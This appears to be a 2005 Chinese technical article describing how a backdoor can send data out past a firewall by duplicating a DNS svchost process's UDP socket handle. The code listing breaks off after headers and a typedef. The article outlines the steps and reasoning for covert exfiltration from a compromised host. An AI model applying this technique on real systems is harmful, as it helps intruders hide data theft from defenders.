使用该技术背景: 在目标主机安放后门,需要将数据传输出去,同时数据很重要,动作不能太大.其他情况"严重"不推荐使用该技术(后面我会讲到为什么).
针对目前防火墙的一些情况,如果自己的进程开一个端口(甚至是新建套接字)肯定被拦. 相反,有一点我们也很清楚:被防火墙验证的进程在传送数据时永远不会被拦.所以,我的思路很简单: 将其他进程中允许数据传输的套接字句柄拿为已用.过程如下:
1. 找出目标进程 2. 找出SOCKET句柄 2. 用DuplicateHandle()函数将其SOCKET转换为能被自己使用. 3. 用转换后的SOCKET进行数据传输
上面的过程写的很简单,但是实际实现起来还是存在一些问题(后面再做讨论).而且从上面的实现方法也 可以看出一些不爽的地方:在目标进程的SOCKET不能是TCP,因为TCP的句柄已经跟外面建立了连接,所以只能是UDP. 针对不同系统不同进程我们很难定位一个稳定的进程SOCKET.
看到上面这些,你有点丧气了对不对,哈哈. 再想一想,其实我们有一条真正的通罗马的"黄金大道".
我们知道只要一台计算机连上了网络,那么有一种数据传输是肯定不会被拦截的,那就是DNS.你能想像域名解析数据都被 拦了造成的结果吗? 嘿嘿, 既然这个是永远不会被拦的, 而且它又是UDP传输, 我们就拿他开刀...
下面是通过直接控制DNS进程(其实也就是svchost.exe,不过对应用户名是NETWORK SERVICE)进行数据传输的例子. 编程中出现了很多问题,比方说获取svchost对应用户名时没有权限(但是能够操作LOCAL SERVICE),在句柄值为0x2c时进行getsockname时会停止运行等等. 具体解决方法请细看注释部分...
/*++
Made By ZwelL zwell@sohu.com 2005.4.12 --*/
#include <winsock2.h> #include <stdio.h> #include <wtsapi32.h>
#pragma comment(lib, "ws2_32") #pragma comment(lib, "wtsapi32")
#define NT_SUCCESS(status) ((NTSTATUS)(status)>=0) #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
typedef LONG NTSTATUS;
typedef struct _SYSTEM_HANDLE_INFORMATION { &nb[1] [2] [3] [4] [5] [6] [7] [8] [9] [10] ... 下一页 >>
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